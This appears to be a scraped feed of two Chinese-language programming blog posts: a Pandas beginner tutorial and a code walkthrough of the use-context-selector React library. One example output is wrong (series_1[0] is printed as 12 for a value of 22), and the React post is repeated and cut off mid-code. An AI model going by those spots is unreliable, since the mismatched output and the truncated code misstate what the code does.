]]>在 Python 套件生態系中:Numpy、Pandas、Matplotlib、Scipy 以及 scikit-learn 是常見用來進行資料分析和機器學習(machine learning)、資料科學應用的重要套件和模組。之前我們介紹了 Python Numpy 套件,可以方便我們建立矩陣並處理大量的矩陣運算並為未來學習資料科學相關應用打好基礎。
接下來我們要介紹的 Pandas 是一個 Python 用來資料處理的工具,可以讀取各種檔案轉成欄列式資料格式,進而過濾或是進行資料前處理(將資料整理好方便後續資料分析使用)。
Pandas
是 Python 進行資料處理和資料分析一個好用的工具,其主要資料結構有包含:Series
物件和 DataFrame
物件。其中 DataFrame 就類似我們在使用的 Excel 試算表一樣,由欄列所組成的表格結構。由於 Pandas 本身基於 Numpy 所以在使用大量資料運算時效能表現也優於原生的 Python 資料結構,所以是常用將資料載入進行資料分析的好用工具。
在使用前我們需要確認已有安裝 Pandas 套件。若尚未安裝套件,可以使用以下語法在 Anaconda Prompt 或 Terminal 終端機下安裝(預設 Anaconda 已有安裝)
pip install pandas
若使用 Jupyter Notebook 安裝套件,需使用以下語法安裝:
!pip install pandas
接著我們可以使用 VS Code 或是 Jupyter Notebook 打開我們建立的專案工作資料夾,若已安裝過套件就可以直接引用並執行程式碼。
透過 list
當作參數可以將 list 轉換成 Series
物件。
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 建立 Series 物件,傳入 list 當作參數
series_1 = pd.Series([2, 1, 7, 3])
print(series_1)
執行結果:
0 2
1 1
2 7
3 3
dtype: int64
建立 Series 索引值(預設為 0
, 1
, 2
...,但可以透過 index
屬性更改):
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 建立 Series 物件並設定 index 索引
grades = pd.Series([60, 27, 72, 53], index=['小郭', '小王', '小華', '小明'])
print(grades)
執行結果:
小郭 60
小王 27
小華 72
小明 53
dtype: int64
使用索引取值:
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 建立 Series 物件,傳入 list 當作參數
series_1 = pd.Series([22, 34, 41, 3])
print(series_1[0])
print(series_1[1:3])
執行結果:
12
1 34
2 41
dtype: int64
使用自定義索引取值;
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 建立 Series 物件並設定 index 索引
grades = pd.Series([60, 27, 72, 53], index=['小郭', '小王', '小華', '小明'])
print(grades['小王'])
執行結果:
27
DataFrame
是 Pandas
最重要的資料結構,基本上我們使用 Pandas 進行資料分析和操作大部分都是在使用 DataFrame
。如同我們所提到的 DataFrame 的結構類似於關聯式資料庫的資料表(table)是由欄(column)和列的索引(index)所組成。
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 準備傳入
data = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'email': ['min@gmail.com', 'hchang@gmail.com', 'laioding@gmail.com', 'hsulight@gmail.com'],
'grades': [60, 77, 92, 43]
}
# 建立 DataFrame 物件
student_df = pd.DataFrame(data)
print(student_df)
執行結果:
name email grades
0 王小郭 min@gmail.com 60
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
3 丁小光 hsulight@gmail.com 43
也可以自行定義 index:
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 準備傳入 DataFrame 的資料
data = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'email': ['min@gmail.com', 'hchang@gmail.com', 'laioding@gmail.com', 'hsulight@gmail.com'],
'grades': [60, 77, 92, 43]
}
# 建立 DataFrame 物件
student_df = pd.DataFrame(data, index=['one', 'second', 'third','fourth'])
print(student_df)
執行結果:
name email grades
one 王小郭 min@gmail.com 60
second 張小華 hchang@gmail.com 77
third 廖丁丁 laioding@gmail.com 92
fourth 丁小光 hsulight@gmail.com 43
透過 DataFrame 函式我們可以很容易一窺整個資料集的統計數據和資料內容。
範例語法:
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
data = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'email': ['min@gmail.com', 'hchang@gmail.com', 'laioding@gmail.com', 'hsulight@gmail.com'],
'grades': [60, 77, 92, 43]
}
# 建立 DataFrame 物件
student_df = pd.DataFrame(data)
# 列出欄位資料型別等資訊
print(student_df.info())
# 列出統計資訊
print(student_df.describe())
執行結果:
<class 'pandas.core.frame.DataFrame'>
RangeIndex: 4 entries, 0 to 3
Data columns (total 3 columns):
name 4 non-null object
email 4 non-null object
grades 4 non-null int64
dtypes: int64(1), object(2)
memory usage: 176.0+ bytes
None
grades
count 4.000000
mean 68.000000
std 21.181753
min 43.000000
25% 55.750000
50% 68.500000
75% 80.750000
max 92.000000
範例語法:
# 列出 DataFrame 的 index/columns
print(student_df.index)
print(student_df.columns)
執行結果:
RangeIndex(start=0, stop=4, step=1)
Index(['name', 'email', 'grades'], dtype='object')
範例語法:
# 印出頭尾指定幾筆資料
print(student_df.head(3))
print(student_df.tail(3))
執行結果:
name email grades
0 王小郭 min@gmail.com 60
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
name email grades
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
3 丁小光 hsulight@gmail.com 43
由於 DataFrame 是 Pandas 最常使用的資料結構物件,所以我們接下來會主要學習如何操作 DataFrame 資料結構物件。
除了自行創建 DataFrame 物件外,我們也可以使用 read_csv(檔案名稱)
等函式讀取檔案成為 DataFrame。在 Pandas 中我們主要可以使用 read_json(檔案名稱)
、read_csv(檔案名稱)
、read_html(檔案名稱)
來讀取檔案。
Step1. 下載政府開放資料檔案
在政府開放資料(Open Data)網站中我們可以下載許多生活上的開放資料來進行資料分析學習使用。
在這邊我們使用 政府開放資料中的盤後資訊 > 個股日成交資訊 CSV 檔案
資料格式如下:
證券代號,證券名稱,成交股數,成交金額,開盤價,最高價,最低價,收盤價,漲跌價差,成交筆數
"0050","元大台灣50","5,709,735","599,969,574","105.20","105.90","104.35","104.45","-0.85","2,400"
"0051","元大中型100","27,067","1,088,175","40.37","40.38","40.02","40.02","-0.35","22"
"0052","富邦科技","984,453","90,344,848","92.15","92.75","91.25","91.25","-1.00","173"
"0053","元大電子","12,000","606,200","50.60","50.70","50.05","50.05","-0.35","11"
...
將下載的檔案存成 stock_info.csv
檔案。
Step2. 載入資料
使用 Pandas read_csv()
方法讀取 csv 檔案。
import pandas as pd
# 將 csv 檔案轉換成 DataFrame
df = pd.read_csv('stock_info.csv')
Step3. 輸出資料狀況
# 輸入資料概況
df.info()
df.describe()
# 輸出頭尾資料
df.head()
df.tail()
執行結果:
若希望刪除特定欄位,可以使用 drop([欄位], axis=指定欄或列)
方法(axis=1
為欄,axis=0
為列),指定要刪除的欄位。
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 準備傳入 DataFrame 的資料
data_1 = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'email': ['min@gmail.com', 'hchang@gmail.com', 'laioding@gmail.com', 'hsulight@gmail.com'],
'grades': [60, 77, 92, 43]
}
# 建立 DataFrame 物件
student_df_1 = pd.DataFrame(data_1)
print(student_df_1)
# 使用 drop 指定欄位,記得要給定 axis=1 為欄。若 axis=0 為代表列
student_df_1 = student_df_1.drop(['grades'], axis=1)
print(student_df_1)
執行結果:
name email grades
0 王小郭 min@gmail.com 60
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
3 丁小光 hsulight@gmail.com 43
name email
0 王小郭 min@gmail.com
1 張小華 hchang@gmail.com
2 廖丁丁 laioding@gmail.com
3 丁小光 hsulight@gmail.com
有時我們建立或讀取進來的資料值中會有 NA/NaN
值(可能是資料遺漏或是沒有值),此時我們可以使用 DataFrame.fillna
來填充 NA/NaN
值,例如改為 0 等。
使用 Numpy 和 Pandas 建立一個有 NA/NaN
值的 DataFrame:
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
import numpy as np
df = pd.DataFrame([[np.nan, 2, np.nan, 0],
[3, 4, np.nan, 1],
[np.nan, np.nan, np.nan, 5],
[np.nan, 3, np.nan, 4]],
columns=list('ABCD'))
執行結果:
df
A B C D
0 NaN 2.0 NaN 0
1 3.0 4.0 NaN 1
2 NaN NaN NaN 5
3 NaN 3.0 NaN 4
將 NA/NaN
df.fillna(0)
執行結果:
A B C D
0 0.0 2.0 0.0 0
1 3.0 4.0 0.0 1
2 0.0 0.0 0.0 5
3 0.0 3.0 0.0 4
若我們希望合併不同的 DataFrame 我們可以使用列合併 concat()
或是欄位合併 merge()
。
以下先建立學習資料:
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 準備傳入 DataFrame 的資料
data_1 = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'email': ['min@gmail.com', 'hchang@gmail.com', 'laioding@gmail.com', 'hsulight@gmail.com'],
'grades': [60, 77, 92, 43]
}
data_2 = {
'name': ['黃明明', '汪新新', '鮑呱呱', '江組組'],
'email': ['ww@gmail.com', 'cc@gmail.com', 'bb@gmail.com', 'ee@gmail.com'],
'grades': [70, 17, 32, 43]
}
# 建立 DataFrame 物件
student_df_1 = pd.DataFrame(data_1)
student_df_2 = pd.DataFrame(data_2)
print(student_df_1)
print(student_df_2)
執行結果:
name email grades
0 王小郭 min@gmail.com 60
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
3 丁小光 hsulight@gmail.com 43
name email grades
0 黃明明 ww@gmail.com 70
1 汪新新 cc@gmail.com 17
2 鮑呱呱 bb@gmail.com 32
3 江組組 ee@gmail.com 43
使用 concat
列合併資料
student_fg_3 = pd.concat([student_df_1, student_df_2])
print(student_fg_3)
執行結果:
name email grades
0 王小郭 min@gmail.com 60
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
3 丁小光 hsulight@gmail.com 43
0 黃明明 ww@gmail.com 70
1 汪新新 cc@gmail.com 17
2 鮑呱呱 bb@gmail.com 32
3 江組組 ee@gmail.com 43
若有 ignore_index
則列的 index 會重新排列:
student_fg_3 = pd.concat([student_df_1, student_df_2], ignore_index=True)
print(student_fg_3)
執行結果:
name email grades
0 王小郭 min@gmail.com 60
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
3 丁小光 hsulight@gmail.com 43
4 黃明明 ww@gmail.com 70
5 汪新新 cc@gmail.com 17
6 鮑呱呱 bb@gmail.com 32
7 江組組 ee@gmail.com 43
建立學習資料:
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 準備傳入 DataFrame 的資料
data_1 = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'email': ['min@gmail.com', 'hchang@gmail.com', 'laioding@gmail.com', 'hsulight@gmail.com'],
'grades': [60, 77, 92, 43]
}
data_2 = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'age': [19, 20, 32, 43]
}
# 建立 DataFrame 物件
student_df_1 = pd.DataFrame(data_1)
student_df_2 = pd.DataFrame(data_2)
print(student_df_1)
print(student_df_2)
執行結果:
name email grades
0 王小郭 min@gmail.com 60
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
3 丁小光 hsulight@gmail.com 43
name age
0 王小郭 19
1 張小華 20
2 廖丁丁 32
3 丁小光 43
使用 merge 合併欄位資料
有點類似 SQL JOIN 的感覺,根據相同的欄位合併資料:
student_fg_3 = pd.merge(student_df_1, student_df_2)
print(student_fg_3)
執行結果:
name email grades age
0 王小郭 min@gmail.com 60 19
1 張小華 hchang@gmail.com 77 20
2 廖丁丁 laioding@gmail.com 92 32
3 丁小光 hsulight@gmail.com 43 43
在 Pandas 中同樣可以使用 DataFrame.to_csv(檔案名稱)
、DataFrame.to_json(檔案名稱)
、DataFrame.to_excel(檔案名稱)
和 DataFrame.to_html(檔案名稱)
將資料轉成檔案。
範例語法:
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
data = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'email': ['min@gmail.com', 'hchang@gmail.com', 'laioding@gmail.com', 'hsulight@gmail.com'],
'grades': [60, 77, 92, 43]
}
# 建立 DataFrame 物件
student_df = pd.DataFrame(data)
# 將 DataFrame 轉成 CSV 檔案
print(student_df.to_csv('student_demo.csv'))
執行結果(儲存成 student_demo.csv
檔案):
,name,email,grades
0,王小郭,min@gmail.com,60
1,張小華,hchang@gmail.com,77
2,廖丁丁,laioding@gmail.com,92
3,丁小光,hsulight@gmail.com,43
這次我們介紹了 Pandas 這個用來操作不同資料來源並將其格式化的資料分析工具,Pandas 可以讀取各種檔案轉成欄列式資料格式 DataFrame,進而過濾或是進行資料前處理。透過 Pandas 整理後的格式化資料,我們可以更方便後續資料分析、資料科學和機器學習專案使用。同時我們也可以使用 Pandas 輸入和輸出不同檔案格式的資料。
]]>最近經手的一個專案採用 React Hooks 與 Context API 實作類似 Redux 的狀態管理,也就是利用 useReducer
、createContext
等 API 來實作全域的 Store 與 Dispatch Actions。
這樣做其實挺方便的,在狀態管理的流程上跟 Redux 的思維一樣,但設置上更為簡單。
不過有個問題是,ㄧ但任何 context 的值更新,所有使用 useContext
的 component 都會被通知到,並且進行 render,即便該 component 需要的 state 可能根本沒有變動?。
簡單看個範例(modified from here):
從上圖中 devtool 中的 flamegraph 可以明顯看出當點選 Counter 時,TextBox 也會觸發 render,因為他們共享同一個 Context。
附上 codesandbox 供參考(另外,這邊提到的 render 主要是 VDOM 的 render,範例中為了凸顯效果,在其中放了 Math.random() 讓 DOM 一定會更新,否則實際上 TextBox 在值都不變的狀態下,DOM 是不會更新的):
先不論頁面複雜時可能會有的潛在效能問題,光是想到會有這種無謂的 render,應該很多人就會覺得不舒服。
而實際上,Context API 一開始就不是拿來給你作用在更新頻率高的狀態上的。
官方文件雖然沒有明講這件事,但從他們給的範例圍繞在 theme
與 user data
就可略知一二,另外在 react-redux v6 版本推出時的討論中也有提到。
所以我們應該要就此打住,改回用 react-redux 嗎?
也不一定,創造出問題然後解決,就是工程師的職責啊,怎麼能逃避!
玩笑話,實務上當然自己斟酌,如果是公司內部專案或是你自己的 side project,當然是能多嘗試就嘗試,我並不覺得一昧遵守 best practice 是好的。
另外,官方團隊也是有意識到這件事情
We indeed have observed performance problems when propagating context to large trees. @joshcstory is doing some great research on how to make it better. We do have a plan, but it will require a significant refactor so it might take a while to land. https://t.co/gtpLEyfgU9
— Andrew Clark (@acdlite) April 14, 2020
並且在 RFC: Context selectors 中曾有蠻熱絡的討論,雖然依照現況來說沒有明確的計劃針對這個問題去做改善,但 RFCs 提出的概念已經有類似實作了,而今天我就是想要來解析ㄧ下到底是怎麼在不更動架構,利用現有 API 下去解決這個問題。
除了在頁面不複雜的狀態下可以透過組合多個 context 來解決,同事找到的這套 lib - use-context-selector 實作了 RFCs 中的概念,提供了 selector
給 Context 使用。
以先前同樣的範例來看看使用後的效果:
從圖中的 flamegraph 可以看到,在一樣的操作下,TextBox 在所有的 commits 中都沒有被觸發 render,只有 Counter 有執行 render。
若是再仔細看一點,你也會發現,跟原本的版本比起來,Commits 數量多了一倍,並多了一個 Anonymous (memo) 的 component。
而這多出來的部分就是 use-context-selector 能 bail out of rendering 的原因,接下來我們就從程式碼來理解實作原理!
(題外話,bail out of rendering
是我在查詢相關資訊時,常常看到的句子,覺得是很貼切的描述,所以保留原文,加上我也找不到合適的中文翻譯...)
use-context-selector
的程式碼很短,就 100 多行而已,所以要直接看也是 ok,但我一般都習慣先從 lib 的使用方式下手,觀察出我們應該先閱讀哪部分的程式碼。
我們只取上面範例中的 Counter 來觀察:
import {
createContext,
useContextSelector,
} from './use-context-selector';
const context = createContext(null);
const Counter = () => {
const count = useContextSelector(context, (v) => v[0].count);
const dispatch = useContextSelector(context, (v) => v[1]);
return (
<div>
{Math.random()}
<div>
<span>Count: {count}</span>
<button type="button" onClick={() => dispatch({ type: 'increment' })}>+1</button>
<button type="button" onClick={() => dispatch({ type: 'decrement' })}>-1</button>
</div>
</div>
);
};
const Provider = ({ children }) => {
const [state, dispatch] = useReducer(reducer, initialState);
return (
<context.Provider value={[state, dispatch]}>
{children}
</context.Provider>
);
};
const App = () => (
<StrictMode>
<Provider>
<h1>Counter</h1>
<Counter />
<Counter />
</Provider>
</StrictMode>
);
跟我們一般使用 Context API 的方式相同,需要用 createContext
來創建 context,只不過這邊用到的並不是 React 原生的 createContext,而是 use-context-selector
提供的。
另外就是與一般 useContext
不同,在 Component 中使用 useContextSelector
來取得 context 中的 state 與 dispatch 函式(React.useReducer() 產生的)。
useContextSelector
很好理解,就是多傳一個 selector 參數進去選取我們需要的 context value,但為什麼這邊他要我們使用它提供的 createContext
呢?
看來關鍵就在這邊,所以我們直接先從 use-context-selector 中的 createContext
函式看起:
export const createContext = (defaultValue) => {
// make changedBits always zero
const context = React.createContext(defaultValue, () => 0);
// shared listeners (not ideal)
context[CONTEXT_LISTENERS] = new Set();
// hacked provider
context.Provider = createProvider(context.Provider, context[CONTEXT_LISTENERS]);
// no support for consumer
delete context.Consumer;
return context;
};
可以看出他其實也是使用 React.createContext
來創建 Context,只是他多傳了一個參數進去。
🤔 什麼時候 React.createContext
有第二個參數選項了?
從上面的註解來看,傳入的第二個參數會回傳一個叫做 changedBits
的值,Google 一下後發現原來是沒有寫在文件上的 API,而且兩年前新的 Context API 出來時就已經有不少人在討論了(原來只是自己學識淺薄😅)
在先前提到的 RFC: Context selectors 中也是想要利用這個 API。
這第二個參數叫做 calculateChangedBits
,他會接受 Context 的新值與舊值作為 input,最後 return changedBits
,如果 changedBits
為 0,Context Provider 就不會觸發更新;而Context Consumer 中也能傳入一個叫做 unstable_observedBits
的 props,若是 unstable_observedBits & changedBits !== 0
,Consumer 也不會更新。
雖然 observedBits
是 unstable 的,但在 react-reconciler 的 NewContext test 中,他們就是利用 changedBits
與 observedBits
來做更新的測試。
這邊再羅列幾篇講解得比較詳細的文章供大家參考:
總而言之,我們是可以客製化一個函式來決定 Context 的值更動時,需不需要觸發更新。
但這個函式是在 createContext
時就得傳入的,而不是 useContext
,我們的 Component 沒辦法動態去傳各自的 Selector。
也正是如此,use-context-selector
就直接以 () => 0
作為 calculateChangedBits
函式,讓 React Context Provider 拿到的 changedBits
永遠為 0。
這樣做會讓 Provider 永遠不會跟隨著 Context 變動而觸發 render,而是由我們自己來判斷何時要做更新,為此,use-context-selector
實作了另一個 context.Provider
:
const createProvider = (OrigProvider, listeners) => React.memo(({ value, children }) => {
if (process.env.NODE_ENV !== 'production') {
// we use layout effect to eliminate warnings.
// but, this leads tearing with startTransition.
// eslint-disable-next-line react-hooks/rules-of-hooks
React.useLayoutEffect(() => {
listeners.forEach((listener) => {
listener(value);
});
});
} else {
// we call listeners in render for optimization.
// although this is not a recommended pattern,
// so far this is only the way to make it as expected.
// we are looking for better solutions.
// https://github.com/dai-shi/use-context-selector/pull/12
listeners.forEach((listener) => {
listener(value);
});
}
return React.createElement(OrigProvider, { value }, children);
});
createProvider
除了包裹 React 原生的 Context Provide 外,額外接收一個 listeners
參數,而這就是 Custom Provider 的主要目的。
剛剛提到由於 changedBits
都會是零,所以需要我們主動觸發更新,而觸發的方式就是直接將 listener 註冊到 Customer Provder 中,而 listener 就是每個 Component 用來針對目前最新的 context value 做 select 以決定要不要更新的函式,詳細實作等等就會說明。
現在重新拿範例程式碼來檢視一下目前為止的邏輯:
const Provider = ({ children }) => {
const [state, dispatch] = useReducer(reducer, initialState);
return (
<context.Provider value={[state, dispatch]}>
{children}
</context.Provider>
);
};
const App = () => (
<StrictMode>
<Provider>
<h1>Counter</h1>
<Counter />
<Counter />
</Provider>
</StrictMode>
);
將 useReducer
回傳的 state
與 dispatch
當作 Context Value 傳入 Provider,當 Counter
裡面透過 dispatch
去更新 Context 內的 state
時,由於此時的 Provider 是客製化後的 Provider,他會進行 render,並在 render 的過程中,呼叫所有與他直接 subscribe 的 listener,由 listener 來判斷與執行 component 的 re-render 與否。
這層客製化的 Provider 也就是我們先前在 flamegraph 中看到多出來的一層 Anonymous (memo) component,也解釋了為什麼 commits 數量會多了一倍,就是因為這個 Anonymous component 所進行的 render。
最後我們來看看 listener 是怎麼產生與運作的,我們拆三個部分來說明:
export const useContextSelector = (context, selector) => {
const listeners = context[CONTEXT_LISTENERS];
if (process.env.NODE_ENV !== 'production') {
if (!listeners) {
throw new Error('useContextSelector requires special context');
}
}
// ...
};
在一開始 createContext
時,其實有在 context 中塞一個 Set()
:
context[CONTEXT_LISTENERS] = new Set();
而在 useContextSelector
中的一開始,我們就會取出這個 set,目的在於要放入呼叫 useContextSelector
的 component 的 listener。
// ...
const [, forceUpdate] = React.useReducer((c) => c + 1, 0);
const value = React.useContext(context);
const selected = selector(value);
const ref = React.useRef(null);
React.useLayoutEffect(() => {
ref.current = {
f: selector, // last selector "f"unction
v: value, // last "v"alue
s: selected, // last "s"elected value
};
});
// ...
接著準備一些 listener 需要的東西:
forceUpdate
函式來觸發 render,這邊的實作方式是額外使用 React.useReducer
產生一個不斷 +1 的 reducer,來達到效果。React.context
來紀錄 Globle state。React.useRef
紀錄當下的 selector function、context value 與 selector 選出的值。// ...
React.useLayoutEffect(() => {
const callback = (nextValue) => {
try {
if (ref.current.v === nextValue
|| Object.is(ref.current.s, ref.current.f(nextValue))) {
return;
}
} catch (e) {
// ignored (stale props or some other reason)
}
forceUpdate();
};
listeners.add(callback);
return () => {
listeners.delete(callback);
};
}, [listeners]);
return selected;
再來實作 listener,listener function 接受的 nextValue
就是 Custom Provider 取得的最新的 Context value,listener function 就能夠利用這個 nextValue
與我們先前存放在 ref
中的值做比較,若是 Context Value 完全相等,或是 Selected 的值也沒有變動(用 ref
中存好的 selector function 對 nextValue
做選取),那就不用 render。
反之,若發現值不同,需要更新,就會呼叫 forceUpdate()
強制讓這個 useContextSelector
進行 render,也就會跟著觸發使用 useContextSelector
的 Component 進行 render,更新 ref
內的值,並回傳最新的 selected value
。
而這邊建立的 listener 會放入一開始從 Context 取出的 Set()
中,Custom Provider 在 render 時,就能取出運行。
use-context-selector
替 Context API 的效能問題所找到的 escape hatch 流程如下:
useContextSelector
的 components 會建立 listener,放入 Context Set 中進行 subscribe。這就是 use-context-selector
所找到的出路,讓你在 global context update 時,bail out of rendering
。
use-context-selector
的作者自己也說了這個套件有很多限制與不足
即便他有 v2 版本的實作,是建立在比較有機會實作的 RFC 上,但整體來說還是不能算一個穩定的解決方案。
但是作為使用在內部或是個人專案上來說,是個還不錯的選擇。尤其是簡單易懂的實作,就算是出了什麼問題,只要理解他的原理,也是能找得出問題所在。
這次也是透過閱讀其程式碼,才對 Context API 有更多了解,從中延伸閱讀了很多包含 react-redux v6 當初的效能 issue、RFCs 上的討論、關於 calculateChangedBits
的知識,或甚至是 react scheduling 的一些內部實作。
這也回應到我最開始所說的,有時候太過於遵循 best practice,會讓你失去研究一些有趣問題或是學習的機會,甚至透過走這些旁門走道,會讓你對於 best practice 之所以為 best practice 的原因更加深刻。
分析程式碼的文章有點冗長鬆散,如果你有看到這邊,感謝你的閱讀,若有任何問題也歡迎指教討論!
最近經手的一個專案採用 React Hooks 與 Context API 實作類似 Redux 的狀態管理,也就是利用 useReducer
、createContext
等 API 來實作全域的 Store 與 Dispatch Actions。
這樣做其實挺方便的,在狀態管理的流程上跟 Redux 的思維一樣,但設置上更為簡單。
不過有個問題是,ㄧ但任何 context 的值更新,所有使用 useContext
的 component 都會被通知到,並且進行 render,即便該 component 需要的 state 可能根本沒有變動?。
簡單看個範例(modified from here):
從上圖中 devtool 中的 flamegraph 可以明顯看出當點選 Counter 時,TextBox 也會觸發 render,因為他們共享同一個 Context。
附上 codesandbox 供參考(另外,這邊提到的 render 主要是 VDOM 的 render,範例中為了凸顯效果,在其中放了 Math.random() 讓 DOM 一定會更新,否則實際上 TextBox 在值都不變的狀態下,DOM 是不會更新的):
先不論頁面複雜時可能會有的潛在效能問題,光是想到會有這種無謂的 render,應該很多人就會覺得不舒服。
而實際上,Context API 一開始就不是拿來給你作用在更新頻率高的狀態上的。
官方文件雖然沒有明講這件事,但從他們給的範例圍繞在 theme
與 user data
就可略知一二,另外在 react-redux v6 版本推出時的討論中也有提到。
所以我們應該要就此打住,改回用 react-redux 嗎?
也不一定,創造出問題然後解決,就是工程師的職責啊,怎麼能逃避!
玩笑話,實務上當然自己斟酌,如果是公司內部專案或是你自己的 side project,當然是能多嘗試就嘗試,我並不覺得一昧遵守 best practice 是好的。
另外,官方團隊也是有意識到這件事情
We indeed have observed performance problems when propagating context to large trees. @joshcstory is doing some great research on how to make it better. We do have a plan, but it will require a significant refactor so it might take a while to land. https://t.co/gtpLEyfgU9
— Andrew Clark (@acdlite) April 14, 2020
並且在 RFC: Context selectors 中曾有蠻熱絡的討論,雖然依照現況來說沒有明確的計劃針對這個問題去做改善,但 RFCs 提出的概念已經有類似實作了,而今天我就是想要來解析ㄧ下到底是怎麼在不更動架構,利用現有 API 下去解決這個問題。
除了在頁面不複雜的狀態下可以透過組合多個 context 來解決,同事找到的這套 lib - use-context-selector 實作了 RFCs 中的概念,提供了 selector
給 Context 使用。
以先前同樣的範例來看看使用後的效果:
從圖中的 flamegraph 可以看到,在一樣的操作下,TextBox 在所有的 commits 中都沒有被觸發 render,只有 Counter 有執行 render。
若是再仔細看一點,你也會發現,跟原本的版本比起來,Commits 數量多了一倍,並多了一個 Anonymous (memo) 的 component。
而這多出來的部分就是 use-context-selector 能 bail out of rendering 的原因,接下來我們就從程式碼來理解實作原理!
(題外話,bail out of rendering
是我在查詢相關資訊時,常常看到的句子,覺得是很貼切的描述,所以保留原文,加上我也找不到合適的中文翻譯...)
use-context-selector
的程式碼很短,就 100 多行而已,所以要直接看也是 ok,但我一般都習慣先從 lib 的使用方式下手,觀察出我們應該先閱讀哪部分的程式碼。
我們只取上面範例中的 Counter 來觀察:
import {
createContext,
useContextSelector,
} from './use-context-selector';
const context = createContext(null);
const Counter = () => {
const count = useContextSelector(context, (v) => v[0].count);
const dispatch = useContextSelector(context, (v) => v[1]);
return (
<div>
{Math.random()}
<div>
<span>Count: {count}</span>
<button type="button" onClick={() => dispatch({ type: 'increment' })}>+1</button>
<button type="button" onClick={() => dispatch({ type: 'decrement' })}>-1</button>
</div>
</div>
);
};
const Provider = ({ children }) => {
const [state, dispatch] = useReducer(reducer, initialState);
return (
<context.Provider value={[state, dispatch]}>
{children}
</context.Provider>
);
};
const App = () => (
<StrictMode>
<Provider>
<h1>Counter</h1>
<Counter />
<Counter />
</Provider>
</StrictMode>
);
跟我們一般使用 Context API 的方式相同,需要用 createContext
來創建 context,只不過這邊用到的並不是 React 原生的 createContext,而是 use-context-selector
提供的。
另外就是與一般 useContext
不同,在 Component 中使用 useContextSelector
來取得 context 中的 state 與 dispatch 函式(React.useReducer() 產生的)。
useContextSelector
很好理解,就是多傳一個 selector 參數進去選取我們需要的 context value,但為什麼這邊他要我們使用它提供的 createContext
呢?
看來關鍵就在這邊,所以我們直接先從 use-context-selector 中的 createContext
函式看起:
export const createContext = (defaultValue) => {
// make changedBits always zero
const context = React.createContext(defaultValue, () => 0);
// shared listeners (not ideal)
context[CONTEXT_LISTENERS] = new Set();
// hacked provider
context.Provider = createProvider(context.Provider, context[CONTEXT_LISTENERS]);
// no support for consumer
delete context.Consumer;
return context;
};
可以看出他其實也是使用 React.createContext
來創建 Context,只是他多傳了一個參數進去。
🤔 什麼時候 React.createContext
有第二個參數選項了?
從上面的註解來看,傳入的第二個參數會回傳一個叫做 changedBits
的值,Google 一下後發現原來是沒有寫在文件上的 API,而且兩年前新的 Context API 出來時就已經有不少人在討論了(原來只是自己學識淺薄😅)
在先前提到的 RFC: Context selectors 中也是想要利用這個 API。
這第二個參數叫做 calculateChangedBits
,他會接受 Context 的新值與舊值作為 input,最後 return changedBits
,如果 changedBits
為 0,Context Provider 就不會觸發更新;而Context Consumer 中也能傳入一個叫做 unstable_observedBits
的 props,若是 unstable_observedBits & changedBits !== 0
,Consumer 也不會更新。
雖然 observedBits
是 unstable 的,但在 react-reconciler 的 NewContext test 中,他們就是利用 changedBits
與 observedBits
來做更新的測試。
這邊再羅列幾篇講解得比較詳細的文章供大家參考:
總而言之,我們是可以客製化一個函式來決定 Context 的值更動時,需不需要觸發更新。
但這個函式是在 createContext
時就得傳入的,而不是 useContext
,我們的 Component 沒辦法動態去傳各自的 Selector。
也正是如此,use-context-selector
就直接以 () => 0
作為 calculateChangedBits
函式,讓 React Context Provider 拿到的 changedBits
永遠為 0。
這樣做會讓 Provider 永遠不會跟隨著 Context 變動而觸發 render,而是由我們自己來判斷何時要做更新,為此,use-context-selector
實作了另一個 context.Provider
:
const createProvider = (OrigProvider, listeners) => React.memo(({ value, children }) => {
if (process.env.NODE_ENV !== 'production') {
// we use layout effect to eliminate warnings.
// but, this leads tearing with startTransition.
// eslint-disable-next-line react-hooks/rules-of-hooks
React.useLayoutEffect(() => {
listeners.forEach((listener) => {
listener(value);
});
});
} else {
// we call listeners in render for optimization.
// although this is not a recommended pattern,
// so far this is only the way to make it as expected.
// we are looking for better solutions.
// https://github.com/dai-shi/use-context-selector/pull/12
listeners.forEach((listener) => {
listener(value);
});
}
return React.createElement(OrigProvider, { value }, children);
});
createProvider
除了包裹 React 原生的 Context Provide 外,額外接收一個 listeners
參數,而這就是 Custom Provider 的主要目的。
剛剛提到由於 changedBits
都會是零,所以需要我們主動觸發更新,而觸發的方式就是直接將 listener 註冊到 Customer Provder 中,而 listener 就是每個 Component 用來針對目前最新的 context value 做 select 以決定要不要更新的函式,詳細實作等等就會說明。
現在重新拿範例程式碼來檢視一下目前為止的邏輯:
const Provider = ({ children }) => {
const [state, dispatch] = useReducer(reducer, initialState);
return (
<context.Provider value={[state, dispatch]}>
{children}
</context.Provider>
);
};
const App = () => (
<StrictMode>
<Provider>
<h1>Counter</h1>
